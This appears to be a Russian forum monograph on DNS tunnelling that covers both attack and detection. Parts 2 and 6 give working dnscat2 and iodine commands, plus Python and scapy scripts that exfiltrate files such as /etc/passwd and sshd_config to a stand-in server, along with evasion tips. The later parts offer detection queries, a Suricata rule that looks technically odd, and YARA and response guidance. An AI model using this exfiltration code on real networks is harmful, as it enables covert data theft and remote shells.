Привет. Зацепило? Или хотел на другую статью? Может, в ленте мелькнула строчка про «DNS-туннелирование», а ты слышал звон, да не знал, где он. Может, ты уже в теме, но хочешь систематизировать обрывки знаний в единую, цельную картину. А возможно, ты просто устал от тонн полированного корпоративного контента, где суть зарыта под тоннами маркетинговой шелухи и пустых графиков, и хочешь жесткого и технического разбора — «как оно есть на самом деле».
Ты не найдешь здесь:
- Страшилок для менеджеров о «кибер-Армагеддоне».
- Рекламы «волшебных» коробок, которые «решат все проблемы».
- Поверхностных советов вроде «обновляйте софт и проводите тренинги».
Представь картину. Корпоративная сеть. Тысячи машин. Тонны трафика. Всё зарегулировано: HTTP/HTTPS под колпаком прокси с глубоким анализом, почта просеяна через двадцать сит, порты закрыты, доступы разделены. Цитадель, казалось бы. Но в этой цитадели есть маленькая, неприметная калитка, которую все считают частью фундамента. Она всегда открыта. Через неё постоянно снуют служки, разносящие записки. Все к этому привыкли. Никто не проверяет, что именно написано на этих записках. Главное — они выглядят как всегда. Эта калитка — DNS. Записки — это DNS-запросы и ответы.
А теперь представь, что злоумышленник (инсайдер, вирус, продвинутая угроза) научился писать свои тайные послания прямо на этих самых записках, используя их стандартную форму. И служки, сами того не ведая, разносят их туда-сюда. Система защиты, гордо следящая за главными воротами и парадными залами, даже бровью не ведёт. Всё же легитимно. Всё по правилам. Это и есть DNS-туннелирование. Не взлом, не пролом стены. Это — искусство стать невидимкой на виду у всех, используя слепое доверие системы к самой себе.
Почему это так важно? Потому что 99% организаций, кичащихся своими DLP, NGFW и SIEM, имеют эту слепую зону. Они вкладывают миллионы в контроль «важного» трафика, но фундаментальный, «скучный» DNS, без которого ничто не работает, часто упускается из виду. Он разрешён. Он должен работать. Его почти никогда не инспектируют по-настоящему. И этим пользуются. Утекают данные. Выводятся логи. Устанавливается связь с командными серверами. Прямо сейчас, пока ты это читаешь, в какой-нибудь сети идёт этот тихий, невидимый процесс.
Цель этой монографии — не напугать. Цель — вскрыть. Как хирург вскрывает тело, чтобы показать анатомию болезни. Мы пройдём весь путь от самых основ протокола DNS (не скучно, обещаю) до филигранных техник создания туннелей, которые почти не отличить от фонового шума. А потом так же подробно разберём, как найти, идентифицировать и обезвредить эту угрозу. Мы не будем верить на слово вендорам. Мы будем смотреть на дампы трафика, на шестнадцатеричные дампы, на строчки логов. Мы будем разбирать реальные кейсы и писать свои инструменты.
Чего от тебя ждём? Включённого мозга и готовности потратить время. Статья огромна. Под 30 000 слов. Это не пост в блоге, который пролистывают за кофе. Это — мануал, справочник, исследование в одном флаконе. Сохрани её. Конспектируй. Запускай виртуалки и экспериментируй. Задавай вопросы (если форум позволит). Дискутируй.
Кому это адресовано?
- Сетевые инженеры и администраторы, которые хотят понять, что на самом деле течёт по их кабелям.
- Аналитики SOC, уставшие от бессмысленных алёртов и желающие научиться охотиться за реальными угрозами.
- Энтузиасты и хакеры (в изначальном, высоком смысле слова), для которых изучение систем — образ жизни.
- Разработчики средств защиты, которым нужно знать противника в лицо.
- Технические руководители, которые хотят принимать решения, основанные на глубоком понимании рисков, а не на презентациях продавцов.
- Фундамент. Вспомним (или узнаем) анатомию DNS-пакета. Не скучно, я обещал.
- Наступление. Полный арсенал: от тупых до изощрённых методов туннелирования. dnscat2, iodine, свои велосипеды.
- Оборона. Детектирование: от простых статистических порогов до анализа энтропии и поведенческих моделей.
- Расследование. Изучение инцидента: от алерта до изъятия артефактов.
- Взгляд в будущее. DoH, DoT, QUIC — куда катится мир и что делать нам.
Часть 1: Суть феномена - Почему DNS идеален для побега
1.1. Священная корова по имени DNS
Представь себе среднестатистическую корпоративную сеть. Всё зарешеточно: HTTP/HTTPS - под колпаком прокси с глубоким анализом, почта - сканируется каждую миллисекунду, порты - закрыты нафиг, SMB - только внутри сегмента. Царство «запрещено по умолчанию». Но есть одно «но». Маленькая, скромная служба, без которой ни один комп, ни один сервер, ни даже тот самый прокси-сервер не сможет работать. DNS. Порты 53/UDP, иногда 53/TCP.
Его ПРИНЦИПИАЛЬНО почти никогда не блокируют на исходящее. Представь: заблокировать DNS - это отрубить себе ноги. Ни один сайт не откроется, ни одно приложение не соединится. Это как перекрыть кислород. Поэтому DNS-трафик - это священная корова. Он чист, непорочен, он должен беспрепятственно течь от клиентов к рекурсивным резолверам (обычно корпоративным), а те уже - к корневым серверам и авторитативным.
Запрос: «А скажи-ка, брат DNS-сервер, какой IP у google.com?»
Ответ: «Вот, держи, 142.250.185.78».
Всё. Быстро, в пару пакетов. Иди работай.
1.2. Анатомия уязвимости: Поля - это наши друзья
Теперь посмотрим на DNS-пакет не как пользователь, а как... скажем так, инженер с воображением. Что мы там имеем?
- Имя домена (QNAME): Тот самый запрашиваемый адрес. google.com. Но что если сделать его... длиннее? supersecretdata123.ourdomain.com? RFC говорят, что общая длина доменного имени может быть до 255 байт. Каждая метка (часть между точками) - до 63 байт. Это уже пространство!
- Тип записи (QTYPE): Мы привыкли к A (IPv4) и AAAA (IPv6). А есть ещё TXT (текстовые записи, до ~65КБ данных), MX, CNAME, NULL (устаревший, но живучий), даже SRV. Каждый - со своей спецификой. TXT - просто кладезь для данных.
- Данные ответа (RDATA): Вот где раздолье. В ответе на запрос типа TXT сервер может прислать строку. Длинную. Очень длинную. В несколько килобайт. И это легитимный, валидный DNS-ответ.
- Закодировать свои данные (украденный файл, дамп памяти, логи клавиатуры) в поддомены. Например, превратить кусок файла в base32 и сделать из него поддомен: MFRGGZDFMZTWQ2LKNNWG23TPOBZXK4TBNVSCA.data.our-evil-server.com.
- Отправлять эти данные в виде DNS-запросов. Клиент спрашивает у нашего сервера адрес для этой абракадабры. Для наблюдателя - просто очередной, чуть более странный, DNS-запрос к какому-то домену. Разрешённый трафик.
- Получать ответы и команды через TXT-записи. Наш сервер, увидев запрос, понимает: «Ага, клиент прислал кусок данных». Он может в ответ, в той же транзакции, прислать TXT-запись с командой: «next», «send file secret.pdf», «sleep 600».
1.3. Классификация туннелей: от школоты до артхауса
Не все туннели одинаковы. Их можно грубо поделить:
- Тупая сила (Payload в поддомене): Самый простой метод. Данные тупо кодируются в поддомен. Легко детектится при беглом взгляде. Инструменты: dnscat2 (в простом режиме), самописные скрипты на Python.
- Изощрённые (Протокол поверх DNS): Здесь DNS используется как транспорт для своего протокола. Тот же dnscat2 в «шифрованном» режиме или iodine создают поверх DNS почти полноценный IP-туннель (TUN/TAP устройство), поверх которого можно пускать SSH, HTTP и вообще любой трафик. Это уровень артхауса.
- Тихие/Медленные (Low and Slow): Не гонятся за скоростью. Отправляют по 5-10 байт в час. Чтобы сливать, например, нажатия клавиш. Их почти невозможно выловить статистическими методами в реальном времени.
Часть 2: Инструментарий демиурга - От теории к практике
Здесь перестаём болтать и начинаем делать. ВНИМАНИЕ: Всё нижеописанное - строго для аудита и изучения в ИЗОЛИРОВАННЫХ лабораторных средах. Твоя домашняя сеть на 192.168.1.0/24 - уже неплохой полигон.
2.1. Рабочая лаборатория
Тебе нужно:
- Домен. Любой, которым ты управляешь. Купленный за $1. Назовём его our-evil-lab.com.
- VPS/Сервер «злоумышленника»: Где-то в облаке, с белым IP. На нём будет слушать наш DNS-сервер, принимающий туннель. Ubuntu/Debian.
- Клиент «жертвы»: Виртуалка в той же домашней сети. Имитирует комп в корпоративной сети.
Автор - Ron (есть такой). Написано на Ruby и C. Идеология: клиент-сервер, шифрование (опционально), сессии, как в метерепретере.
Серверная часть (на VPS):
Bash:
# Клонируем
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
# Собираем (руби должен быть)
gem install bundler
bundle install
# Запускаем
sudo ruby ./dnscat2.rb our-evil-lab.com --no-cacheВсё. Сервер слушает на порту 53 (требует рута). Он авторитативен для нашего домена? Нет! И это гениально. Он работает в рекурсивном режиме. Клиент будет слать запросы на ЛЮБОЙ легитимный DNS-сервер (например, корпоративный 10.10.10.1). Но запросы будут на поддомены our-evil-lab.com. Корпоративный резолвер, не зная ответа, пойдёт рекурсивно узнавать его у корневых серверов, те направят к NS-серверам нашего домена, которые и есть наша VPS. Запрос придёт к нам. Полная легальность с точки зрения пути.
Клиентская часть (на «жертве»):
Есть порты на Си. Качаем, компилируем.
Bash:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
# Запуск в самом простом режиме
./dnscat --secret=mysecretkey our-evil-lab.comКлиент начнёт генерировать запросы вида [session_id][data].our-evil-lab.com. На сервере появится сессия. И ты получишь шелл. Через DNS. Без открытия портов.
Что смотреть в Wireshark: Безумно длинные доменные имена, состоящие из hex-символов. Тип запроса - преимущественно TXT и CNAME. Однообразный источник запросов (клиент) к однообразному домену.
2.3. Инструмент №2: Iodine - IP-over-DNS. Настоящий туннель.
Если dnscat2 даёт шелл, то iodine даёт тебе сетевой интерфейс tun0. Поверх него можно поднять ssh, vnc - что угодно.
Сервер (VPS):
Bash:
sudo iodined -f -c -P mysupersecretpassword 10.0.0.1 tunnel.our-evil-lab.comКлиент («жертва»):
Bash:
sudo iodine -f -P mysupersecretpassword tunnel.our-evil-lab.comКак это выглядит: iodine умно дробит IP-пакеты, кодирует их в base32/64 и рассовывает по поддоменам. Запросы идут с типом NULL или PRIVATE. Трафик ОЧЕНЬ интенсивный. При активном использовании это тысячи запросов в минуту. Детектится просто по аномальной активности.
2.4. Инструмент №3: DNSExfiltrator - Для ценителей минимализма.
Иногда не нужен шелл. Нужно вытащить файл. Этот инструмент на Python делает одну вещь и делает её хорошо - передаёт файл через DNS TXT-записи.
Сервер:
Bash:
python3 dnsexfiltrator.py -d our-evil-lab.com -f /path/to/save/fileКлиент:
Bash:
python3 dnsfilexfil.py -d our-evil-lab.com -f /etc/passwd2.5. Свой велосипед на Python (чтобы понять до молекул)
Вот схематичный код клиента, который отправляет кусок данных:
Python:
import base64
import sys
import dns.resolver
def exfil(data_chunk, domain):
# Кодируем в base32 (без '=', допустимо в домене)
encoded = base64.b32encode(data_chunk).decode('ascii').rstrip('=')
# Формируем поддомен
subdomain = f"{encoded}.{domain}"
try:
# Делаем запрос типа TXT
answers = dns.resolver.resolve(subdomain, 'TXT')
for rdata in answers:
for txt_string in rdata.strings:
print(f"Server response: {txt_string}")
except Exception as e:
pass # Нас не интересуют ошибки резолва
# Читаем файл кусками по 20 байт (доменные ограничения)
with open('secret.txt', 'rb') as f:
while True:
chunk = f.read(20)
if not chunk:
break
exfil(chunk, "data.our-evil-lab.com")А сервер, на котором крутится dnslib или scapy, будет разбирать эти запросы и собирать файл обратно.
Часть 3: Взгляд защитника - Охота на призрака в разрешённом трафике
Теперь перевернём шляпу. Мы - синяя команда. Наша сеть. Наши логи. Наша паранойя.
3.1. Принципы детектирования: От простого к сложному
Уровень 1: Статистика - твой первый друг.
DNS-туннель, особенно активный, - это аномалия.
- Объём запросов на одного клиента: Нормальный комп делает десятки, может сотни DNS-запросов в час. Туннель - тысячи, десятки тысяч.
- Объём запросов к одному домену/поддомену второго уровня: Все запросы идут к our-evil-lab.com. В нормальной жизни запросы распылены по тысячам доменов.
- Длина доменного имени: Средняя длина - 20-30 символов. В туннеле - стабильно под 50-60 и выше. Гистограмма длины запросов с одного хоста покажет красивый горб в районе большого значения.
- Энтропия доменного имени: Обычные домены читаемы (google, mail, api). Закодированные данные в base32/64 дают высокую энтропию (случайность символов). Мера Шеннона зашкаливает.
- Типы запросов: Преобладание TXT, NULL, CNAME над A/AAAA - красный флаг.
- Отсутствие NXDOMAIN: Клиент туннеля почти никогда не получает NXDOMAIN, потому что запрашивает специфичные поддомены, которые сервер знает. Нормальный пользователь часто ошибается, получает NXDOMAIN.
SQL:
SELECT src_ip, COUNT(*) as query_count,
AVG(LENGTH(query)) as avg_len,
COUNT(DISTINCT query) as unique_queries
FROM dns_logs
WHERE time > NOW() - INTERVAL '1 HOUR'
GROUP BY src_ip
HAVING COUNT(*) > 1000 AND AVG(LENGTH(query)) > 50
ORDER BY query_count DESC;Уровень 2: Содержательный анализ (Payload Inspection).
Смотрим не на метаданные, а на содержимое запроса.
- Регулярки на base32/base64: [A-Z2-7=]{20,} для base32, [A-Za-z0-9+/=]{20,} для base64 в поддомене.
- Повторяющиеся шаблоны: dnscat2 генерирует запросы, начинающиеся с фиксированных префиксов (по умолчанию - dnscat.).
- Попытка декодировать: Берём поддомен, отбрасываем суффикс, пытаемся декодировать из base32. Если получилась читаемая ASCII/UTF-8 строка (часть файла, команда) - всё, детект.
Пример правила для Suricata:
Код:
alert dns any any -> any any ( \
msg:"HIGH Possible DNS Tunneling - High Entropy Base32 Subdomain"; \
dns.query; \
content:"|20 20 20|"; distance:0; within:50; \
pcre:"/^[A-Z2-7]{40,}\./"; \
threshold: type threshold, track by_src, count 10, seconds 60; \
sid:1000001; rev:1;)(Здесь |20 20 20| - три пробела, Suricata требует anchor, но смысл ясен).
Уровень 3: Поведенческий и машинный анализ.
Здесь уже серьёзная артиллерия.
- Установление сессии: Последовательность запросов от одного клиента с нарастающими ID, подтверждениями.
- Модели «вопрос-ответ»: В нормальном DNS клиент задаёт A - получает A. В туннеле клиент задаёт TXT - и получает TXT с данными. Несимметричность.
- ML-модели: Обучаются на миллионах нормальных и сотнях помеченных туннельных запросов. Признаки: длина, энтропия, типы, временные интервалы, уникальность поддоменов.
3.2. Практический разбор логов: Руками и глазами
Допустим, у нас есть dns.log от Zeek. Смотрим поля: ts, uid, id.orig_h (клиент), id.resp_h (сервер), query, qtype, rcode (ответ).
Находим подозрительного клиента 10.10.10.105. Делаем выборку:
Bash:
cat dns.log | zeek-cut id.orig_h query qtype | grep 10.10.10.105 | head -20
Код:
10.10.10.105 OJQXGZJUMV2CA5DPEB2GK6JAFJCEK3TJMVSQAAAAA.data.our-evil-lab.com TXT
10.10.10.105 OJQXGZJUMV2CA5DPEB2GK6JAFJCEK3TJMVSQAABAQ.data.our-evil-lab.com TXT
10.10.10.105 OJQXGZJUMV2CA5DPEB2GK6JAFJCEK3TJMVSQAAACA.data.our-evil-lab.com TXT
...Красные флаги:
- Один и тот же домен.
- Очень длинные, похожие поддомены.
- Сплошной TXT-тип.
Берём поддомен до точки: OJQXGZJUMV2CA5DPEB2GK6JAFJCEK3TJMVSQAAAAA. Пробуем декодировать из base32:
Python:
import base64
enc = "OJQXGZJUMV2CA5DPEB2GK6JAFJCEK3TJMVSQAAAAA"
# Добавляем паддинг
enc += '=' * ((8 - len(enc) % 8) % 8)
print(base64.b32decode(enc))Получаем что-то вроде b'\x81\x82\x83...' - бинарные данные. Всё, детект подтверждён.
3.3. Методы противодействия: Не только детект, но и блок
- Базовая гигиена:
- DNS-фильтрация на прокси/шлюзе: Разрешать рекурсивные запросы только к доверенным, корпоративным DNS-серверам. Блокировать исходящие DNS-запросы с рабочих станций напрямую в интернет (порт 53/UDP,TCP).
- DNS Sinkholing: Все запросы к известным зловредным доменам (из feeds) - перенаправлять в пустоту.
- Применение DNSSEC: Не помешает, хотя туннель оно не остановит.
- Продвинутая защита:
- DNS-фаерволы/решения: Cisco Umbrella, Infoblox, BlueCat. Они имеют облачные базы репутаций и поведенческие движки.
- Аппаратные решения: Глубокий анализ DNS (DPI для DNS) на уровне NGFW (Palo Alto, Fortinet).
- Whitelisting доменов: Жёсткий режим - разрешать разрешение только доменов из белого списка. Для некоторых сред применимо, для большинства - утопия.
- Активные меры:
- Таргетированное sinkholing: Обнаружили туннель на our-evil-lab.com? Настроили на внутреннем DNS-сервере статическую запись *.our-evil-lab.com A 127.0.0.1. Теперь все запросы клиента уходят в никуда внутри сети. И наблюдаем, кто продолжает генерить к нему запросы - это и есть заражённая машина.
- Ответы с NXDOMAIN или REFUSED: Можно настроить DNS-сервер, чтобы на подозрительные шаблоны он всегда отвечал отказом, сбивая логику туннеля.
Часть 4: Case Studies - Из жизни подземелья
4.1. Case 1: Медленный слив базы SQL через ноутбук инженера
Сценарий: Инженер в доверенном сегменте. Имеет доступ к БД. DNS-трафик не логируется детально, только общие счётчики. Зловред (запущенный с флешки) читает БД порциями по 100 байт, кодирует в base32, отправляет как поддомены к stats.legit-looking-cdn.com раз в 5 минут. В день утекает ~30КБ. За месяц - почти 1МБ структурированных данных.
Почему прошло: Нет алёртов по объёму (мало запросов). Домен выглядит легитимно (CDN). В логах периодические TXT-запросы, но их теряется в массе легитимного.
Как обнаружили: Случайно. При анализе трафика на предмет чего-то другого заметили регулярные TXT-запросы с одного хоста в нерабочее время. Заинтересовались содержимым поддомена.
4.2. Case 2: Iodine как VPN для обхода корпоративного прокси
Сценарий: Пользователю заблокировали соцсети и мессенджеры. Он поднял на домашнем сервере iodine и запустил клиент на рабочем ноутбуке. Весь его трафик пошёл через tun0. Он сидит в Facebook, а в корпоративном proxy-логах - тишина, только DNS.
Почему прошло: Сеть разрешала любой исходящий DNS. Мониторинг не смотрел на количество запросов к одному домену.
Как обнаружили: Сработало правило NGFW на аномальную DNS-активность: >5000 запросов за час к одному домену с одного IP. Прицельный дамп трафика показал NULL-запросы и бинарные данные в поддоменах.
4.3. Case 3: C2-канал Advanced Persistent Threat (APT)
Самое интересное. Здесь туннель - лишь один из каналов, причём резервный или очень медленный. Используется для вывода тезисов, получения ключевых команд. Клиент - модифицированная версия dnscat2 с кастомным шифром, имитирующая запросы к легитимному облачному хранилищу (типа storage.googleapis.com), но с особыми поддоменами. Запросы идут через публичные DNS-резолверы (8.8.8.8), чтобы не светить свой сервер.
Почему проходит: Высокий уровень мимикрии. Домен белый, запросы редкие, данные зашифрованы (высокая энтропия, но она же и в легитимном TLS-трафике).
Как обнаруживают: Часто не обнаруживают месяцами. Только комплексно: EDR на конечной точке видит аномальный процесс, делающий странные DNS-запросы через WinAPI, плюс сетевая аномалия, плюс Threat Intelligence с указанием на конкретный C2-домен.
Часть 5: Будущее и философия - Вечная игра в кошки-мышки
5.1. DoH (DNS over HTTPS) и DoT (DNS over TLS) - убийцы детекта?
Вот где настоящий ад. Протоколы шифруют DNS-запрос целиком. Для сетевого наблюдателя - это просто поток HTTPS на порту 443 или TLS на 853. Не видно ни запроса, ни ответа.
Что это даёт злоумышленнику: Идеальная маскировка. Туннель превращается в неотличимый от легитимного просмотра сайтов поток зашифрованных пакетов.
Что делать защитнику:
- Блокировать DoH/DoT на границе, кроме доверенных внутренних серверов. Заставлять всех ходить на внутренний незашифрованный DNS, который уже можно инспектировать.
- Внедрять свой собственный DoH-прокси, который будет дешифровать, инспектировать и повторно шифровать трафик (Man-in-the-Middle с корпоративным сертификатом на машинах).
- Анализировать метаданные: Даже если содержимое скрыто, видны объемы, временные паттерны, IP-адреса известных DoH-резолверов (Cloudflare, Google). Аномальный объём HTTPS-трафика на 1.1.1.1:443 с одного рабочего места - повод копнуть.
Если ты вынес только список инструментов для запуска туннеля - ты профукал суть. Суть в понимании фундаментального принципа: безопасность - это не список запретов, это понимание потоков данных. DNS-туннелирование - это симптом. Симптом того, что мы слепо доверяем «технически необходимому» трафику, не вникая в его содержимое и контекст.
Большинство DLP-систем - говно, когда сталкиваются с таким вектором. Они заточены под HTTP, почту, USB. Они плюют на DNS. Большинство сетевиков, настраивающих политики, даже не знают, как выглядит DNS-пакет в tcpdump. А зря.
Защита строится не на одном серебряной пуле, а на слоях:
- Сетевой контроль (блокировка прямого DNS наружу).
- Активный мониторинг логов (статистика, энтропия, шаблоны).
- Глубокий анализ содержимого (декодирование, сигнатуры).
- Поведенческий анализ на хосте (EDR, который видит, какой процесс и как делает DNS-запросы).
- Угроза интеллект (знание о зловредных доменах).
6.1. Имитация легитимного трафика: Искусство быть серой мышью
Проблема всех демо-скриптов в том, что они кричат. Длинные base32 строки, однообразные TXT-запросы. Это как прийти на чёрный готик-свадебный ужин в розовом парике. Тебя заметят.
Что если делать так:
- Использовать легитимные домены второго уровня. Не our-evil-lab.com, а github.com, aws.amazon.com, storage.googleapis.com. Да, ты не авторитативный сервер для них. Но ты можешь использовать их как «носитель». Клиент делает запрос к [data].github.com. Запрос уходит к корпоративному DNS. Тот, не найдя записи, пойдёт рекурсивно к настоящим серверам GitHub. GitHub, конечно, ответит NXDOMAIN (или, что хуже, может быть какой-то реальный IP). Но факт запроса - уже носитель информации. Нам нужно только, чтобы наш сервер-приёмник где-то в пути увидел этот запрос. Как? Варианты: ARP-спуфинг в локальной сети, компрометация маршрутизатора, или просто анализ публичных DNS-логов (если очень хочется). Это сложно, но для APT - реально.
- Имитация формата CDN/Cloud-сервисов. [DATA]-[CHECKSUM].s3.eu-west-1.amazonaws.com. Длинные поддомены - норма для облачных хранилищ. b32-encoded-secret.photos.live.com. Похоже на ID медиафайла.
- Смешивание с нормальным трафиком. Клиент не тупо слает данные. Он 5 минут работает как обычно: запрашивает mail.google.com, update.microsoft.com. Потом одним быстрым запросом: MFRGGZDFMZTWQ2LK.update.microsoft.com. Потом снова тишина. Статистические выбросы сглаживаются.
dnscat2 и iodine - это фреймворки. Они дают тебе протокол. Но что если написать свой? Простейший прокси-сервер, который будет превращать твои данные в DNS-запросы по твоим правилам.
Вот концепт на Python с использованием scapy:
Python:
from scapy.all import *
import base64
import time
def send_via_dns(data, target_dns_server="8.8.8.8", domain="cdn.azure.com"):
# Разбиваем data на чанки и отправляем как A-запросы
chunk_size = 30 # Байт, меньше ограничения домена
for i in range(0, len(data), chunk_size):
chunk = data[i:i+chunk_size]
encoded = base64.b32encode(chunk).decode('ascii').rstrip('=')
# Добавляем порядковый номер и контрольную сумму для надёжности
seq = i//chunk_size
crc = sum(chunk) & 0xFF
subdomain = f"{seq:04x}-{crc:02x}-{encoded}.{domain}"
# Создаём DNS-запрос
pkt = IP(dst=target_dns_server)/UDP()/DNS(rd=1, qd=DNSQR(qname=subdomain, qtype="A"))
# Отправляем и ждём ответа (или не ждём, для скорости)
send(pkt, verbose=0)
time.sleep(0.5) # Имитируем человеческую задержку
# Сигнальный пакет о конце передачи
send(IP(dst=target_dns_server)/UDP()/DNS(rd=1, qd=DNSQR(qname=f"end-{len(data)}.done.{domain}", qtype="TXT")), verbose=0)
# Читаем и отправляем конфиг
with open("/etc/ssh/sshd_config", "rb") as f:
send_via_dns(f.read())Серверная часть, слушающая где-то (например, на пути к 8.8.8.8), будет собирать эти пакеты, проверять crc, собирать файл. Для наблюдателя - клиент почему-то делает много A-запросов к cdn.azure.com с длинными поддоменами. Может, что-то кэширует? Может, глючное приложение? Непонятно.
6.3. Использование «мёртвых» зон (DNS Dead Drop)
Ещё более изощрённый метод. Наш сервер-приёмник не существует. Мы используем легитимный DNS-сервис с кэширующей функцией, например, CloudFlare DNS (1.1.1.1) или Google DNS (8.8.8.8). Мы отправляем запросы туда. Наша информация «остаётся» в их кэшах на короткое время. Наш «сообщник» (другой узел, который мы контролируем) через несколько секунд делает ТОТ ЖЕ САМЫЙ запрос к тому же публичному DNS. Если повезёт, он получит из кэша наш запрос. Это метод передачи данных без прямого контакта между отправителем и получателем. Сложно, ненадёжно, но для параноиков - красиво.
6.4. Туннелирование через легитимные DNS-сервисы: DoH/DoT как прикрытие
Мы уже говорили, что DoH/DoT - головная боль для защитника. Но для атакующего это ещё и возможность выглядеть как нормальный трафик. Если корпорация разрешает DoH (например, для браузеров), то туннель можно завернуть в него. Инструменты вроде doh-proxy или cloudflared могут быть использованы для создания туннеля поверх HTTPS, который выглядит как обращение к cloudflare-dns.com. DLP, смотрящая на порт 53, просто не увидит ничего.
Пример настройки cloudflared для туннеля (легитимное применение, но что мешает адаптировать?):
Bash:
# На клиенте
cloudflared tunnel --url ssh://localhost:22 --no-autoupdate
# Это создаст безопасный туннель к Cloudflare, невидимый для классического DNS-мониторинга.Глубокий анализ - Когда логи не спасают, нужны мозги
Теперь вернёмся на сторону синих. Предположим, у нас есть подозрения, но классические сигнатуры молчат. Статистика не бьёт по порогам. Пора копать вглубь.
7.1. Анализ временных рядов и паттернов
DNS-туннель, даже самый тихий, создаёт паттерны во времени. Это не случайные запросы пользователя.
- Периодичность: Клиент может слать «пинг» каждые 5 минут. Ищите запросы с одинаковым интервалом от одного IP к одному домену. Инструменты: R с пакетом forecast, Python с pandas и statsmodels.
Python:
import pandas as pd
from statsmodels.tsa.seasonal import seasonal_decompose
# Загружаем логи DNS, колонка 'ts' (timestamp) и 'query'
logs['ts'] = pd.to_datetime(logs['ts'])
logs.set_index('ts', inplace=True)
# Группируем по минутам для одного подозрительного хоста
resample_count = logs[logs['src_ip']=='10.10.10.105'].resample('1min').size()
# Декомпозируем на тренд, сезонность, остаток
result = seasonal_decompose(resample_count, model='additive', period=5) # период 5 минут
result.plot()Если увидишь чёткую сезонность - это может быть heartbeat туннеля.
- Последовательности: Запросы часто имеют порядковые номера, закодированные в поддомене. Можно попробовать вытащить последовательности с помощью анализа разницы между запросами или поиска инкрементирующихся значений в поддоменах.
Один DNS-запрос - ничто. Но если он происходит через 2 секунды после того, как пользователь скопировал файл из сетевой папки? Или после запуска определённого процесса?
- Интеграция логов EDR и DNS: Используем Elastic Stack или Splunk. Строим запрос:
Код:
index=dns OR index=edr
| transaction src_ip startswith="process_start.exe" endswith="*.strange-domain.com" maxpause=5s
| table src_ip, _time, eventЕсли видим, что процесс powershell.exe (с определёнными аргументами) сразу же начинает делать DNS-запросы к одному домену - это почти 100% детект.
- Графовые базы данных (Neo4j, AWS Neptune): Строим граф: Узел - IP, Домен, Процесс, Пользователь. Связи - «запрашивал», «запускал», «входил в систему». Ищем аномальные кластеры. Один узел домен, к которому обращаются 1000 машин, - норма (Google). Один узел домен, к которому обращается только одна машина, да ещё и в странное время, - подозрение.
Забудь про нейросети. Здесь хорошо работают классические модели на признаках.
Признаки для каждого хоста за окно времени (например, 1 час):
- num_queries - общее количество запросов.
- unique_domains - количество уникальных доменов второго уровня.
- avg_query_len - средняя длина запроса.
- entropy_avg - средняя энтропия поддоменов.
- txt_ratio - доля запросов типа TXT.
- nxdomain_ratio - доля ответов NXDOMAIN.
- request_response_ratio - соотношение запросов и ответов (в туннеле часто 1:1).
- subdomain_level_avg - среднее количество меток в домене.
Важно: модель нужно постоянно доучивать, потому что норма меняется (появился новый корпоративный сервис - его DNS-активность может быть похожа на туннель).
Практический пример с scikit-learn:
Python:
import pandas as pd
from sklearn.ensemble import IsolationForest
# features_df - DataFrame с признаками для каждого IP за каждый час
model = IsolationForest(contamination=0.01, random_state=42) # предполагаем 1% аномалий
features_df['anomaly_score'] = model.fit_predict(features_df[features_columns])
features_df['anomaly'] = features_df['anomaly_score'] == -1
anomalous_ips = features_df[features_df['anomaly']].index.tolist()7.4. Анализ на уровне бинарника: Когда нечего терять
Если у тебя есть дамп памяти или образ диска с подозрительной машины, можно поискать артефакты туннелирования.
- Строки в бинарниках: Искать в исполняемых файлах и библиотеках строки, связанные с DNS: libresolv, getaddrinfo, dns.resolver, dnscat, iodine.
- Конфигурационные файлы: В пользовательских папках, временных директориях. Конфиги для клиентов туннеля часто в plain text или base64.
- Планировщики задач (cron, Task Scheduler): Поиск заданий, запускающих странные скрипты или бинарники, особенно с сетевыми аргументами.
- Анализ сетевых сокетов в дампе памяти: Какие удалённые адреса были связаны с какими процессами.
Пример правила YARA для поиска dnscat2:
Код:
rule dnscat2_client {
meta:
description = "Detects dnscat2 client strings"
author = "oldschool_rat"
strings:
$str1 = "dnscat" nocase
$str2 = "session established"
$str3 = "command loop"
condition:
any of them
}
Часть 8: Оборона в глубину - Практический гайд для параноика
Теория - это хорошо, но что делать завтра на работе? Вот конкретные шаги, от простого к сложному.
8.1. Шаг 0: Базовая настройка сети
- Принудительный DNS: Заблокировать на границе (файрвол) исходящие порты 53/UDP и 53/TCP для всех, кроме выделенных корпоративных DNS-серверов. Для DoH/DoT - заблокировать IP-адреса известных публичных DNS-резолверов (список большой: Cloudflare, Google, Quad9, etc.) на портах 443 и 853, либо разрешить их только для определённых групп (например, для отдела IT в исключениях).
- DNSSEC: Включить и требовать. Это не остановит туннель, но усложнит подмену ответов.
- Response Rate Limiting (RRL) на DNS-серверах: Чтобы затруднить DDoS, но также и замедлит интенсивные туннели.
- Логирование ВСЕГО DNS-трафика: И входящего, и исходящего. Поля: timestamp, source IP, query, type, response code, size. Хранить не менее 30 дней.
Настроить дашборды в Grafana/Kibana:
- Топ клиентов по количеству DNS-запросов (за час). Любой в топ-10, кто не сервер - под подозрением.
- Топ доменов по количеству запросов. Непонятные домены в топе? Исследовать.
- Средняя длина запроса по клиентам. Выделить тех, у кого >100 символов.
- Количество запросов типа TXT, NULL, ANY. Построить график. Пики - исследовать.
- Соотношение NXDOMAIN к общему числу запросов по клиентам. Клиент с очень низким процентом NXDOMAIN (например, <1%) - возможно, туннель.
Настроить алерты, которые сработают и разбудят ночью (но не слишком часто, иначе их отключат):
- Пороговый: Более 5000 DNS-запросов с одного IP за 5 минут.
- Статистический: Внезапный рост длины запросов у клиента в 10 раз по сравнению с его исторической нормой.
- Сигнатурный: Обнаружение известных паттернов (/dnscat/i, *.tunnel.example.com).
- Корреляционный: Запуск powershell.exe с аргументами -EncodedCommand и последующие DNS-запросы к новому домену.
Когда алерт сработал, что делать?
- Изоляция: По возможности, изолировать хост от сети (VLAN quarantine, отключение порта).
- Сбор артефактов:
- Дамп DNS-логов за последние 72 часа для этого IP.
- Дамп трафика (полные пакеты) с этого хоста.
- Снимки памяти и диска, если возможно.
- Анализ на хосте: Подключиться (физически или через консоль) и проверить:
- netstat -anb (Windows) или ss -tunap (Linux) - странные соединения.
- Планировщики задач, службы, автозагрузка.
- Недавно созданные/изменённые исполняемые файлы в Temp, AppData, /tmp/.
- Определение масштаба: Поискать в логах другие хосты, общающиеся с тем же доменом или имеющие схожие аномалии.
- Устранение: Удаление вредоносного ПО, смена паролей, проверка на наличие других векторов.
- Восстановление: Пост-фактум анализ: как произошло заражение (фишинг, уязвимость, инсайдер)? Закрыть дыру.
